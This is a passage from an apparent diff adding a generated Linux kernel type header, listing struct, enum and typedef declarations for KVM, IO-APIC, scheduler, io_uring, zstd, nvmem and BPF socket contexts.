(*set_virtual_apic_mode)(struct kvm_vcpu *); + void (*set_apic_access_page_addr)(struct kvm_vcpu *); + void (*deliver_interrupt)(struct kvm_lapic *, int, int, int); + int (*sync_pir_to_irr)(struct kvm_vcpu *); + int (*set_tss_addr)(struct kvm *, unsigned int); + int (*set_identity_map_addr)(struct kvm *, u64); + u8 (*get_mt_mask)(struct kvm_vcpu *, gfn_t, bool); + void (*load_mmu_pgd)(struct kvm_vcpu *, hpa_t, int); + bool (*has_wbinvd_exit)(); + u64 (*get_l2_tsc_offset)(struct kvm_vcpu *); + u64 (*get_l2_tsc_multiplier)(struct kvm_vcpu *); + void (*write_tsc_offset)(struct kvm_vcpu *, u64); + void (*write_tsc_multiplier)(struct kvm_vcpu *, u64); + void (*get_exit_info)(struct kvm_vcpu *, u32 *, u64 *, u64 *, u32 *, u32 *); + int (*check_intercept)(struct kvm_vcpu *, struct x86_instruction_info *, enum x86_intercept_stage, struct x86_exception *); + void (*handle_exit_irqoff)(struct kvm_vcpu *); + void (*request_immediate_exit)(struct kvm_vcpu *); + void (*sched_in)(struct kvm_vcpu *, int); + int cpu_dirty_log_size; + void (*update_cpu_dirty_logging)(struct kvm_vcpu *); + const struct kvm_x86_nested_ops *nested_ops; + void (*vcpu_blocking)(struct kvm_vcpu *); + void (*vcpu_unblocking)(struct kvm_vcpu *); + int (*pi_update_irte)(struct kvm *, unsigned int, uint32_t, bool); + void (*pi_start_assignment)(struct kvm *); + void (*apicv_post_state_restore)(struct kvm_vcpu *); + bool (*dy_apicv_has_pending_interrupt)(struct kvm_vcpu *); + int (*set_hv_timer)(struct kvm_vcpu *, u64, bool *); + void (*cancel_hv_timer)(struct kvm_vcpu *); + void (*setup_mce)(struct kvm_vcpu *); + int (*mem_enc_ioctl)(struct kvm *, void *); + int (*mem_enc_register_region)(struct kvm *, struct kvm_enc_region *); + int (*mem_enc_unregister_region)(struct kvm *, struct kvm_enc_region *); + int (*vm_copy_enc_context_from)(struct kvm *, unsigned int); + int (*vm_move_enc_context_from)(struct kvm *, unsigned int); + void (*guest_memory_reclaimed)(struct kvm *); + int (*get_msr_feature)(struct kvm_msr_entry *); + bool (*can_emulate_instruction)(struct kvm_vcpu *, int, void *, int); + bool (*apic_init_signal_blocked)(struct kvm_vcpu *); + int (*enable_l2_tlb_flush)(struct kvm_vcpu *); + void (*migrate_timers)(struct kvm_vcpu *); + void (*msr_filter_changed)(struct kvm_vcpu *); + int (*complete_emulated_msr)(struct kvm_vcpu *, int); + void (*vcpu_deliver_sipi_vector)(struct kvm_vcpu *, u8); + long unsigned int (*vcpu_get_apicv_inhibit_reasons)(struct kvm_vcpu *); +}; + +struct kvm_x86_nested_ops { + void (*leave_nested)(struct kvm_vcpu *); + bool (*is_exception_vmexit)(struct kvm_vcpu *, u8, u32); + int (*check_events)(struct kvm_vcpu *); + bool (*has_events)(struct kvm_vcpu *); + void (*triple_fault)(struct kvm_vcpu *); + int (*get_state)(struct kvm_vcpu *, struct kvm_nested_state *, unsigned int); + int (*set_state)(struct kvm_vcpu *, struct kvm_nested_state *, struct kvm_nested_state *); + bool (*get_nested_state_pages)(struct kvm_vcpu *); + int (*write_log_dirty)(struct kvm_vcpu *, gpa_t); + int (*enable_evmcs)(struct kvm_vcpu *, uint16_t *); + uint16_t (*get_evmcs_version)(struct kvm_vcpu *); + void (*hv_inject_synthetic_vmexit_post_tlb_flush)(struct kvm_vcpu *); +}; + +struct kvm_io_device; + +struct kvm_io_range { + gpa_t addr; + int len; + struct kvm_io_device *dev; +}; + +struct kvm_io_bus { + int dev_count; + int ioeventfd_count; + struct kvm_io_range range[0]; +}; + +enum kvm_bus { + KVM_MMIO_BUS = 0, + KVM_PIO_BUS = 1, + KVM_VIRTIO_CCW_NOTIFY_BUS = 2, + KVM_FAST_MMIO_BUS = 3, + KVM_NR_BUSES = 4, +}; + +enum kvm_stat_kind { + KVM_STAT_VM = 0, + KVM_STAT_VCPU = 1, +}; + +struct _kvm_stats_desc; + +struct kvm_stat_data { + struct kvm *kvm; + const struct _kvm_stats_desc *desc; + enum kvm_stat_kind kind; +}; + +struct _kvm_stats_desc { + struct kvm_stats_desc desc; + char name[48]; +}; + +struct kvm_device_ops; + +struct kvm_device { + const struct kvm_device_ops *ops; + struct kvm *kvm; + void *private; + struct list_head vm_node; +}; + +struct kvm_device_ops { + const char *name; + int (*create)(struct kvm_device *, u32); + void (*init)(struct kvm_device *); + void (*destroy)(struct kvm_device *); + void (*release)(struct kvm_device *); + int (*set_attr)(struct kvm_device *, struct kvm_device_attr *); + int (*get_attr)(struct kvm_device *, struct kvm_device_attr *); + int (*has_attr)(struct kvm_device *, struct kvm_device_attr *); + long int (*ioctl)(struct kvm_device *, unsigned int, long unsigned int); + int (*mmap)(struct kvm_device *, struct vm_area_struct *); +}; + +union x86_pmu_config { + struct { + u64 event: 8; + u64 umask: 8; + u64 usr: 1; + u64 os: 1; + u64 edge: 1; + u64 pc: 1; + u64 interrupt: 1; + u64 __reserved1: 1; + u64 en: 1; + u64 inv: 1; + u64 cmask: 8; + u64 event2: 4; + u64 __reserved2: 4; + u64 go: 1; + u64 ho: 1; + } bits; + u64 value; +}; + +enum hybrid_pmu_type { + hybrid_big = 64, + hybrid_small = 32, + hybrid_big_small = 96, +}; + +union IO_APIC_reg_00 { + u32 raw; + struct { + u32 __reserved_2: 14; + u32 LTS: 1; + u32 delivery_type: 1; + u32 __reserved_1: 8; + u32 ID: 8; + } bits; +}; + +union IO_APIC_reg_01 { + u32 raw; + struct { + u32 version: 8; + u32 __reserved_2: 7; + u32 PRQ: 1; + u32 entries: 8; + u32 __reserved_1: 8; + } bits; +}; + +union IO_APIC_reg_02 { + u32 raw; + struct { + u32 __reserved_2: 24; + u32 arbitration: 4; + u32 __reserved_1: 4; + } bits; +}; + +union IO_APIC_reg_03 { + u32 raw; + struct { + u32 boot_DT: 1; + u32 __reserved_1: 31; + } bits; +}; + +struct IO_APIC_route_entry { + union { + struct { + u64 vector: 8; + u64 delivery_mode: 3; + u64 dest_mode_logical: 1; + u64 delivery_status: 1; + u64 active_low: 1; + u64 irr: 1; + u64 is_level: 1; + u64 masked: 1; + u64 reserved_0: 15; + u64 reserved_1: 17; + u64 virt_destid_8_14: 7; + u64 destid_0_7: 8; + }; + struct { + u64 ir_shared_0: 8; + u64 ir_zero: 3; + u64 ir_index_15: 1; + u64 ir_shared_1: 5; + u64 ir_reserved_0: 31; + u64 ir_format: 1; + u64 ir_index_0_14: 15; + }; + struct { + u64 w1: 32; + u64 w2: 32; + }; + }; +}; + +struct irq_pin_list { + struct list_head list; + int apic; + int pin; +}; + +struct mp_chip_data { + struct list_head irq_2_pin; + struct IO_APIC_route_entry entry; + bool is_level; + bool active_low; + bool isa_irq; + u32 count; +}; + +struct mp_ioapic_gsi { + u32 gsi_base; + u32 gsi_end; +}; + +struct ioapic { + int nr_registers; + struct IO_APIC_route_entry *saved_registers; + struct mpc_ioapic mp_config; + struct mp_ioapic_gsi gsi_config; + struct ioapic_domain_cfg irqdomain_cfg; + struct irq_domain *irqdomain; + struct resource *iomem_res; +}; + +struct io_apic { + unsigned int index; + unsigned int unused[3]; + unsigned int data; + unsigned int unused2[11]; + unsigned int eoi; +}; + +struct ms_hyperv_info { + u32 features; + u32 priv_high; + u32 misc_features; + u32 hints; + u32 nested_features; + u32 max_vp_index; + u32 max_lp_index; + u32 isolation_config_a; + union { + u32 isolation_config_b; + struct { + u32 cvm_type: 4; + u32 reserved1: 1; + u32 shared_gpa_boundary_active: 1; + u32 shared_gpa_boundary_bits: 6; + u32 reserved2: 20; + }; + }; + u64 shared_gpa_boundary; +}; + +struct cpa_data { + long unsigned int *vaddr; + pgd_t *pgd; + pgprot_t mask_set; + pgprot_t mask_clr; + long unsigned int numpages; + long unsigned int curpage; + long unsigned int pfn; + unsigned int flags; + unsigned int force_split: 1; + unsigned int force_static_prot: 1; + unsigned int force_flush_all: 1; + struct page **pages; +}; + +enum cpa_warn { + CPA_CONFLICT = 0, + CPA_PROTECT = 1, + CPA_DETECT = 2, +}; + +enum { + MEMBARRIER_FLAG_SYNC_CORE = 1, + MEMBARRIER_FLAG_RSEQ = 2, +}; + +typedef int wait_bit_action_f(struct wait_bit_key *, int); + +enum membarrier_cmd { + MEMBARRIER_CMD_QUERY = 0, + MEMBARRIER_CMD_GLOBAL = 1, + MEMBARRIER_CMD_GLOBAL_EXPEDITED = 2, + MEMBARRIER_CMD_REGISTER_GLOBAL_EXPEDITED = 4, + MEMBARRIER_CMD_PRIVATE_EXPEDITED = 8, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED = 16, + MEMBARRIER_CMD_PRIVATE_EXPEDITED_SYNC_CORE = 32, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_SYNC_CORE = 64, + MEMBARRIER_CMD_PRIVATE_EXPEDITED_RSEQ = 128, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED_RSEQ = 256, + MEMBARRIER_CMD_GET_REGISTRATIONS = 512, + MEMBARRIER_CMD_SHARED = 1, +}; + +enum membarrier_cmd_flag { + MEMBARRIER_CMD_FLAG_CPU = 1, +}; + +struct sched_clock_data { + u64 tick_raw; + u64 tick_gtod; + u64 clock; +}; + +enum cpuacct_stat_index { + CPUACCT_STAT_USER = 0, + CPUACCT_STAT_SYSTEM = 1, + CPUACCT_STAT_NSTATS = 2, +}; + +struct cpuacct { + struct cgroup_subsys_state css; + u64 *cpuusage; + struct kernel_cpustat *cpustat; +}; + +struct sugov_tunables { + struct gov_attr_set attr_set; + unsigned int rate_limit_us; +}; + +struct sugov_policy { + struct cpufreq_policy *policy; + struct sugov_tunables *tunables; + struct list_head tunables_hook; + raw_spinlock_t update_lock; + u64 last_freq_update_time; + s64 freq_update_delay_ns; + unsigned int next_freq; + unsigned int cached_raw_freq; + struct irq_work irq_work; + struct kthread_work work; + struct mutex work_lock; + struct kthread_worker worker; + struct task_struct *thread; + bool work_in_progress; + bool limits_changed; + bool need_freq_update; +}; + +struct sugov_cpu { + struct update_util_data update_util; + struct sugov_policy *sg_policy; + unsigned int cpu; + bool iowait_boost_pending; + unsigned int iowait_boost; + u64 last_update; + long unsigned int util; + long unsigned int bw_dl; + long unsigned int saved_idle_calls; +}; + +struct s_data { + struct sched_domain **sd; + struct root_domain *rd; +}; + +enum s_alloc { + sa_rootdomain = 0, + sa_sd = 1, + sa_sd_storage = 2, + sa_none = 3, +}; + +struct asym_cap_data { + struct list_head link; + long unsigned int capacity; + long unsigned int cpus[0]; +}; + +struct __cmp_key { + const struct cpumask *cpus; + struct cpumask ***masks; + int node; + int cpu; + int w; +}; + +enum hk_flags { + HK_FLAG_TIMER = 1, + HK_FLAG_RCU = 2, + HK_FLAG_MISC = 4, + HK_FLAG_SCHED = 8, + HK_FLAG_TICK = 16, + HK_FLAG_DOMAIN = 32, + HK_FLAG_WQ = 64, + HK_FLAG_MANAGED_IRQ = 128, + HK_FLAG_KTHREAD = 256, +}; + +struct housekeeping { + struct cpumask cpumasks[9]; + long unsigned int flags; +}; + +struct ftrace_entry { + struct trace_entry ent; + long unsigned int ip; + long unsigned int parent_ip; +}; + +typedef long unsigned int perf_trace_t[1024]; + +enum bpf_type { + BPF_TYPE_UNSPEC = 0, + BPF_TYPE_PROG = 1, + BPF_TYPE_MAP = 2, + BPF_TYPE_LINK = 3, +}; + +struct map_iter { + void *key; + bool done; +}; + +enum { + OPT_MODE = 0, +}; + +struct bpf_mount_opts { + umode_t mode; +}; + +enum { + BPF_LOCAL_STORAGE_GET_F_CREATE = 1, + BPF_SK_STORAGE_GET_F_CREATE = 1, +}; + +struct bpf_storage_blob { + struct bpf_local_storage *storage; +}; + +typedef u64 (*btf_bpf_inode_storage_get)(struct bpf_map *, struct inode *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_inode_storage_delete)(struct bpf_map *, struct inode *); + +struct static_call_tramp_key { + s32 tramp; + s32 key; +}; + +typedef u8 uprobe_opcode_t; + +struct uprobe { + struct rb_node rb_node; + refcount_t ref; + struct rw_semaphore register_rwsem; + struct rw_semaphore consumer_rwsem; + struct list_head pending_list; + struct uprobe_consumer *consumers; + struct inode *inode; + loff_t offset; + loff_t ref_ctr_offset; + long unsigned int flags; + struct arch_uprobe arch; +}; + +struct xol_area { + wait_queue_head_t wq; + atomic_t slot_count; + long unsigned int *bitmap; + struct vm_special_mapping xol_mapping; + struct page *pages[2]; + long unsigned int vaddr; +}; + +struct delayed_uprobe { + struct list_head list; + struct uprobe *uprobe; + struct mm_struct *mm; +}; + +struct __uprobe_key { + struct inode *inode; + loff_t offset; +}; + +struct map_info { + struct map_info *next; + struct mm_struct *mm; + long unsigned int vaddr; +}; + +struct mminit_pfnnid_cache { + long unsigned int last_start; + long unsigned int last_end; + int last_nid; +}; + +struct madvise_walk_private { + struct mmu_gather *tlb; + bool pageout; +}; + +struct kobj_map; + +struct char_device_struct { + struct char_device_struct *next; + unsigned int major; + unsigned int baseminor; + int minorct; + char name[64]; + struct cdev *cdev; +}; + +struct mnt_idmap { + struct user_namespace *owner; + refcount_t count; +}; + +struct dnotify_struct { + struct dnotify_struct *dn_next; + __u32 dn_mask; + int dn_fd; + struct file *dn_filp; + fl_owner_t dn_owner; +}; + +struct dnotify_mark { + struct fsnotify_mark fsn_mark; + struct dnotify_struct *dn; +}; + +struct crypto_comp { + struct crypto_tfm base; +}; + +struct sha512_state { + u64 state[8]; + u64 count[2]; + u8 buf[128]; +}; + +typedef void sha512_block_fn(struct sha512_state *, const u8 *, int); + +struct bdev_inode { + struct block_device bdev; + struct inode vfs_inode; +}; + +struct d_partition___2 { + __le32 p_size; + __le32 p_offset; + __le32 p_fsize; + u8 p_fstype; + u8 p_frag; + __le16 p_cpg; +}; + +struct disklabel___2 { + __le32 d_magic; + __le16 d_type; + __le16 d_subtype; + u8 d_typename[16]; + u8 d_packname[16]; + __le32 d_secsize; + __le32 d_nsectors; + __le32 d_ntracks; + __le32 d_ncylinders; + __le32 d_secpercyl; + __le32 d_secprtunit; + __le16 d_sparespertrack; + __le16 d_sparespercyl; + __le32 d_acylinders; + __le16 d_rpm; + __le16 d_interleave; + __le16 d_trackskew; + __le16 d_cylskew; + __le32 d_headswitch; + __le32 d_trkseek; + __le32 d_flags; + __le32 d_drivedata[5]; + __le32 d_spare[5]; + __le32 d_magic2; + __le16 d_checksum; + __le16 d_npartitions; + __le32 d_bbsize; + __le32 d_sbsize; + struct d_partition___2 d_partitions[18]; +}; + +struct xattr_name { + char name[256]; +}; + +struct xattr_ctx { + union { + const void *cvalue; + void *value; + }; + void *kvalue; + size_t size; + struct xattr_name *kname; + unsigned int flags; +}; + +struct io_xattr { + struct file *file; + struct xattr_ctx ctx; + struct filename *filename; +}; + +enum { + IO_WQ_BOUND = 0, + IO_WQ_UNBOUND = 1, +}; + +struct io_wq_acct { + unsigned int nr_workers; + unsigned int max_workers; + int index; + atomic_t nr_running; + raw_spinlock_t lock; + struct io_wq_work_list work_list; + long unsigned int flags; +}; + +struct io_wq { + long unsigned int state; + free_work_fn *free_work; + io_wq_work_fn *do_work; + struct io_wq_hash *hash; + atomic_t worker_refs; + struct completion worker_done; + struct hlist_node cpuhp_node; + struct task_struct *task; + struct io_wq_acct acct[2]; + raw_spinlock_t lock; + struct hlist_nulls_head free_list; + struct list_head all_list; + struct wait_queue_entry wait; + struct io_wq_work *hash_tail[64]; + cpumask_var_t cpu_mask; +}; + +typedef bool work_cancel_fn(struct io_wq_work *, void *); + +enum { + IO_WORKER_F_UP = 1, + IO_WORKER_F_RUNNING = 2, + IO_WORKER_F_FREE = 4, + IO_WORKER_F_BOUND = 8, +}; + +enum { + IO_WQ_BIT_EXIT = 0, +}; + +enum { + IO_ACCT_STALLED_BIT = 0, +}; + +struct io_worker { + refcount_t ref; + unsigned int flags; + struct hlist_nulls_node nulls_node; + struct list_head all_list; + struct task_struct *task; + struct io_wq *wq; + struct io_wq_work *cur_work; + struct io_wq_work *next_work; + raw_spinlock_t lock; + struct completion ref_done; + long unsigned int create_state; + struct callback_head create_work; + int create_index; + union { + struct callback_head rcu; + struct work_struct work; + }; +}; + +enum { + IO_WQ_ACCT_BOUND = 0, + IO_WQ_ACCT_UNBOUND = 1, + IO_WQ_ACCT_NR = 2, +}; + +struct io_cb_cancel_data { + work_cancel_fn *fn; + void *data; + int nr_running; + int nr_pending; + bool cancel_all; +}; + +struct online_data { + unsigned int cpu; + bool online; +}; + +typedef struct { + U32 f1c; + U32 f1d; + U32 f7b; + U32 f7c; +} ZSTD_cpuid_t; + +typedef struct { + size_t error; + int lowerBound; + int upperBound; +} ZSTD_bounds; + +typedef enum { + ZSTD_reset_session_only = 1, + ZSTD_reset_parameters = 2, + ZSTD_reset_session_and_parameters = 3, +} ZSTD_ResetDirective; + +typedef enum { + ZSTD_d_windowLogMax = 100, + ZSTD_d_experimentalParam1 = 1000, + ZSTD_d_experimentalParam2 = 1001, + ZSTD_d_experimentalParam3 = 1002, + ZSTD_d_experimentalParam4 = 1003, +} ZSTD_dParameter; + +typedef ZSTD_DCtx___2 ZSTD_DStream___2; + +typedef enum { + ZSTDnit_frameHeader = 0, + ZSTDnit_blockHeader = 1, + ZSTDnit_block = 2, + ZSTDnit_lastBlock = 3, + ZSTDnit_checksum = 4, + ZSTDnit_skippableFrame = 5, +} ZSTD_nextInputType_e; + +typedef struct { + size_t compressedSize; + long long unsigned int decompressedBound; +} ZSTD_frameSizeInfo; + +typedef struct { + blockType_e blockType; + U32 lastBlock; + U32 origSize; +} blockProperties_t; + +struct fb_event { + struct fb_info *info; + void *data; +}; + +enum backlight_update_reason { + BACKLIGHT_UPDATE_HOTKEY = 0, + BACKLIGHT_UPDATE_SYSFS = 1, +}; + +enum backlight_type { + BACKLIGHT_RAW = 1, + BACKLIGHT_PLATFORM = 2, + BACKLIGHT_FIRMWARE = 3, + BACKLIGHT_TYPE_MAX = 4, +}; + +enum backlight_notification { + BACKLIGHT_REGISTERED = 0, + BACKLIGHT_UNREGISTERED = 1, +}; + +enum backlight_scale { + BACKLIGHT_SCALE_UNKNOWN = 0, + BACKLIGHT_SCALE_LINEAR = 1, + BACKLIGHT_SCALE_NON_LINEAR = 2, +}; + +struct backlight_device; + +struct backlight_ops { + unsigned int options; + int (*update_status)(struct backlight_device *); + int (*get_brightness)(struct backlight_device *); + int (*check_fb)(struct backlight_device *, struct fb_info *); +}; + +struct backlight_properties { + int brightness; + int max_brightness; + int power; + int fb_blank; + enum backlight_type type; + unsigned int state; + enum backlight_scale scale; +}; + +struct backlight_device { + struct backlight_properties props; + struct mutex update_lock; + struct mutex ops_lock; + const struct backlight_ops *ops; + struct notifier_block fb_notif; + struct list_head entry; + struct device dev; + bool fb_bl_on[32]; + int use_count; +}; + +struct acpi_table_lpit { + struct acpi_table_header header; +}; + +struct acpi_lpit_header { + u32 type; + u32 length; + u16 unique_id; + u16 reserved; + u32 flags; +}; + +struct acpi_lpit_native { + struct acpi_lpit_header header; + struct acpi_generic_address entry_trigger; + u32 residency; + u32 latency; + struct acpi_generic_address residency_counter; + u64 counter_frequency; +} __attribute__((packed)); + +struct lpit_residency_info { + struct acpi_generic_address gaddr; + u64 frequency; + void *iomem_addr; +}; + +struct acpi_connection_info { + u8 *connection; + u16 length; + u8 access_length; +}; + +struct acpi_pcc_info { + u8 subspace_id; + u16 length; + u8 *internal_buffer; +}; + +struct acpi_ffh_info { + u64 offset; + u64 length; +}; + +struct acpi_reg_walk_info { + u32 function; + u32 reg_run_count; + acpi_adr_space_type space_id; +}; + +struct agp_device_ids { + short unsigned int device_id; + enum chipset_type chipset; + const char *chipset_name; + int (*chipset_setup)(struct pci_dev *); +}; + +typedef void (*dr_release_t)(struct device *, void *); + +typedef int (*dr_match_t)(struct device *, void *, void *); + +struct devres_node { + struct list_head entry; + dr_release_t release; + const char *name; + size_t size; +}; + +struct devres { + struct devres_node node; + u8 data[0]; +}; + +struct devres_group { + struct devres_node node[2]; + void *id; + int color; +}; + +struct action_devres { + void *data; + void (*action)(void *); +}; + +struct pages_devres { + long unsigned int addr; + unsigned int order; +}; + +struct trace_event_raw_dma_fence { + struct trace_entry ent; + u32 __data_loc_driver; + u32 __data_loc_timeline; + unsigned int context; + unsigned int seqno; + char __data[0]; +}; + +struct trace_event_data_offsets_dma_fence { + u32 driver; + u32 timeline; +}; + +typedef void (*btf_trace_dma_fence_emit)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_init)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_destroy)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_enable_signal)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_signaled)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_wait_start)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_wait_end)(void *, struct dma_fence *); + +struct default_wait_cb { + struct dma_fence_cb base; + struct task_struct *task; +}; + +struct _thermal_state { + u64 next_check; + u64 last_interrupt_time; + struct delayed_work therm_work; + long unsigned int count; + long unsigned int last_count; + long unsigned int max_time_ms; + long unsigned int total_time_ms; + bool rate_control_active; + bool new_event; + u8 level; + u8 sample_index; + u8 sample_count; + u8 average; + u8 baseline_temp; + u8 temp_samples[3]; +}; + +struct thermal_state { + struct _thermal_state core_throttle; + struct _thermal_state core_power_limit; + struct _thermal_state package_throttle; + struct _thermal_state package_power_limit; + struct _thermal_state core_thresh0; + struct _thermal_state core_thresh1; + struct _thermal_state pkg_thresh0; + struct _thermal_state pkg_thresh1; +}; + +struct usage_priority { + __u32 usage; + bool global; + unsigned int slot_overwrite; +}; + +typedef bool (*hid_usage_cmp_t)(struct hid_usage *, unsigned int, unsigned int); + +struct nvmem_cell_lookup { + const char *nvmem_name; + const char *cell_name; + const char *dev_id; + const char *con_id; + struct list_head node; +}; + +enum { + NVMEM_ADD = 1, + NVMEM_REMOVE = 2, + NVMEM_CELL_ADD = 3, + NVMEM_CELL_REMOVE = 4, +}; + +typedef int (*nvmem_reg_read_t)(void *, unsigned int, void *, size_t); + +typedef int (*nvmem_reg_write_t)(void *, unsigned int, void *, size_t); + +typedef int (*nvmem_cell_post_process_t)(void *, const char *, int, unsigned int, void *, size_t); + +enum nvmem_type { + NVMEM_TYPE_UNKNOWN = 0, + NVMEM_TYPE_EEPROM = 1, + NVMEM_TYPE_OTP = 2, + NVMEM_TYPE_BATTERY_BACKED = 3, + NVMEM_TYPE_FRAM = 4, +}; + +struct nvmem_keepout { + unsigned int start; + unsigned int end; + unsigned char value; +}; + +struct nvmem_cell_info { + const char *name; + unsigned int offset; + size_t raw_len; + unsigned int bytes; + unsigned int bit_offset; + unsigned int nbits; + struct device_node *np; + nvmem_cell_post_process_t read_post_process; + void *priv; +}; + +struct nvmem_layout; + +struct nvmem_config { + struct device *dev; + const char *name; + int id; + struct module *owner; + const struct nvmem_cell_info *cells; + int ncells; + const struct nvmem_keepout *keepout; + unsigned int nkeepout; + enum nvmem_type type; + bool read_only; + bool root_only; + bool ignore_wp; + struct nvmem_layout *layout; + struct device_node *of_node; + bool no_of_node; + nvmem_reg_read_t reg_read; + nvmem_reg_write_t reg_write; + int size; + int word_size; + int stride; + void *priv; + bool compat; + struct device *base_dev; +}; + +struct nvmem_device; + +struct nvmem_layout { + const char *name; + const struct of_device_id *of_match_table; + int (*add_cells)(struct device *, struct nvmem_device *, struct nvmem_layout *); + void (*fixup_cell_info)(struct nvmem_device *, struct nvmem_layout *, struct nvmem_cell_info *); + struct module *owner; + struct list_head node; +}; + +struct nvmem_cell_table { + const char *nvmem_name; + const struct nvmem_cell_info *cells; + size_t ncells; + struct list_head node; +}; + +struct nvmem_device { + struct module *owner; + struct device dev; + int stride; + int word_size; + int id; + struct kref refcnt; + size_t size; + bool read_only; + bool root_only; + int flags; + enum nvmem_type type; + struct bin_attribute eeprom; + struct device *base_dev; + struct list_head cells; + const struct nvmem_keepout *keepout; + unsigned int nkeepout; + nvmem_reg_read_t reg_read; + nvmem_reg_write_t reg_write; + struct gpio_desc *wp_gpio; + struct nvmem_layout *layout; + void *priv; +}; + +struct nvmem_cell_entry { + const char *name; + int offset; + size_t raw_len; + int bytes; + int bit_offset; + int nbits; + nvmem_cell_post_process_t read_post_process; + void *priv; + struct device_node *np; + struct nvmem_device *nvmem; + struct list_head node; +}; + +struct nvmem_cell { + struct nvmem_cell_entry *entry; + const char *id; + int index; +}; + +enum { + BPF_F_RECOMPUTE_CSUM = 1, + BPF_F_INVALIDATE_HASH = 2, +}; + +enum { + BPF_F_HDR_FIELD_MASK = 15, +}; + +enum { + BPF_F_PSEUDO_HDR = 16, + BPF_F_MARK_MANGLED_0 = 32, + BPF_F_MARK_ENFORCE = 64, +}; + +enum { + BPF_F_TUNINFO_IPV6 = 1, +}; + +enum { + BPF_F_ZERO_CSUM_TX = 2, + BPF_F_DONT_FRAGMENT = 4, + BPF_F_SEQ_NUMBER = 8, + BPF_F_NO_TUNNEL_KEY = 16, +}; + +enum { + BPF_F_TUNINFO_FLAGS = 16, +}; + +enum { + BPF_CSUM_LEVEL_QUERY = 0, + BPF_CSUM_LEVEL_INC = 1, + BPF_CSUM_LEVEL_DEC = 2, + BPF_CSUM_LEVEL_RESET = 3, +}; + +enum { + BPF_F_ADJ_ROOM_FIXED_GSO = 1, + BPF_F_ADJ_ROOM_ENCAP_L3_IPV4 = 2, + BPF_F_ADJ_ROOM_ENCAP_L3_IPV6 = 4, + BPF_F_ADJ_ROOM_ENCAP_L4_GRE = 8, + BPF_F_ADJ_ROOM_ENCAP_L4_UDP = 16, + BPF_F_ADJ_ROOM_NO_CSUM_RESET = 32, + BPF_F_ADJ_ROOM_ENCAP_L2_ETH = 64, + BPF_F_ADJ_ROOM_DECAP_L3_IPV4 = 128, + BPF_F_ADJ_ROOM_DECAP_L3_IPV6 = 256, +}; + +enum { + BPF_ADJ_ROOM_ENCAP_L2_MASK = 255, + BPF_ADJ_ROOM_ENCAP_L2_SHIFT = 56, +}; + +enum { + BPF_SK_LOOKUP_F_REPLACE = 1, + BPF_SK_LOOKUP_F_NO_REUSEPORT = 2, +}; + +enum bpf_adj_room_mode { + BPF_ADJ_ROOM_NET = 0, + BPF_ADJ_ROOM_MAC = 1, +}; + +enum bpf_hdr_start_off { + BPF_HDR_START_MAC = 0, + BPF_HDR_START_NET = 1, +}; + +enum bpf_lwt_encap_mode { + BPF_LWT_ENCAP_SEG6 = 0, + BPF_LWT_ENCAP_SEG6_INLINE = 1, + BPF_LWT_ENCAP_IP = 2, +}; + +enum { + BPF_SKB_TSTAMP_UNSPEC = 0, + BPF_SKB_TSTAMP_DELIVERY_MONO = 1, +}; + +struct bpf_tunnel_key { + __u32 tunnel_id; + union { + __u32 remote_ipv4; + __u32 remote_ipv6[4]; + }; + __u8 tunnel_tos; + __u8 tunnel_ttl; + union { + __u16 tunnel_ext; + __be16 tunnel_flags; + }; + __u32 tunnel_label; + union { + __u32 local_ipv4; + __u32 local_ipv6[4]; + }; +}; + +struct bpf_xfrm_state { + __u32 reqid; + __u32 spi; + __u16 family; + __u16 ext; + union { + __u32 remote_ipv4; + __u32 remote_ipv6[4]; + }; +}; + +struct bpf_tcp_sock { + __u32 snd_cwnd; + __u32 srtt_us; + __u32 rtt_min; + __u32 snd_ssthresh; + __u32 rcv_nxt; + __u32 snd_nxt; + __u32 snd_una; + __u32 mss_cache; + __u32 ecn_flags; + __u32 rate_delivered; + __u32 rate_interval_us; + __u32 packets_out; + __u32 retrans_out; + __u32 total_retrans; + __u32 segs_in; + __u32 data_segs_in; + __u32 segs_out; + __u32 data_segs_out; + __u32 lost_out; + __u32 sacked_out; + __u64 bytes_received; + __u64 bytes_acked; + __u32 dsack_dups; + __u32 delivered; + __u32 delivered_ce; + __u32 icsk_retransmits; +}; + +struct bpf_xdp_sock { + __u32 queue_id; +}; + +struct sk_msg_md { + union { + void *data; + }; + union { + void *data_end; + }; + __u32 family; + __u32 remote_ip4; + __u32 local_ip4; + __u32 remote_ip6[4]; + __u32 local_ip6[4]; + __u32 remote_port; + __u32 local_port; + __u32 size; + union { + struct bpf_sock *sk; + }; +}; + +struct sk_reuseport_md { + union { + void *data; + }; + union { + void *data_end; + }; + __u32 len; + __u32 eth_protocol; + __u32 ip_protocol; + __u32 bind_inany; + __u32 hash; + union { + struct bpf_sock *sk; + }; + union { + struct bpf_sock *migrating_sk; + }; +}; + +struct bpf_sock_addr { + __u32 user_family; + __u32 user_ip4; + __u32 user_ip6[4]; + __u32 user_port; + __u32 family; + __u32 type; + __u32 protocol; + __u32 msg_src_ip4; + __u32 msg_src_ip6[4]; + union { + struct bpf_sock *sk; + }; +}; + +struct bpf_sock_ops { + __u32 op; + union { + __u32 args[4]; + __u32 reply; + __u32 replylong[4]; + }; + __u32 family; + __u32 remote_ip4; + __u32 local_ip4; + __u32 remote_ip6[4]; + __u32 local_ip6[4]; + __u32 remote_port; + __u32 local_port; + __u32 is_fullsock; + __u32 snd_cwnd; + __u32 srtt_us; + __u32 bpf_sock_ops_cb_flags; + __u32 state; + __u32 rtt_min; + __u32 snd_ssthresh; + __u32 rcv_nxt; + __u32 snd_nxt; + __u32 snd_una; + __u32 mss_cache; + __u32 ecn_flags; + __u32 rate_delivered; + __u32 rate_interval_us; + __u32 packets_out; + __u32 retrans_out; + __u32 total_retrans; + __u32 segs_in; + __u32 data_segs_in; + __u32 segs_out; + __u32 data_segs_out; + __u32 lost_out; + __u32 sacked_out; + __u32 sk_txhash; + __u64 bytes_received; + __u64 bytes_acked; + union { + struct bpf_sock *sk; + }; + union { + void *skb_data; + }; + union { + void *skb_data_end; + }; + __u32 skb_len; + __u32 skb_tcp_flags; + __u64 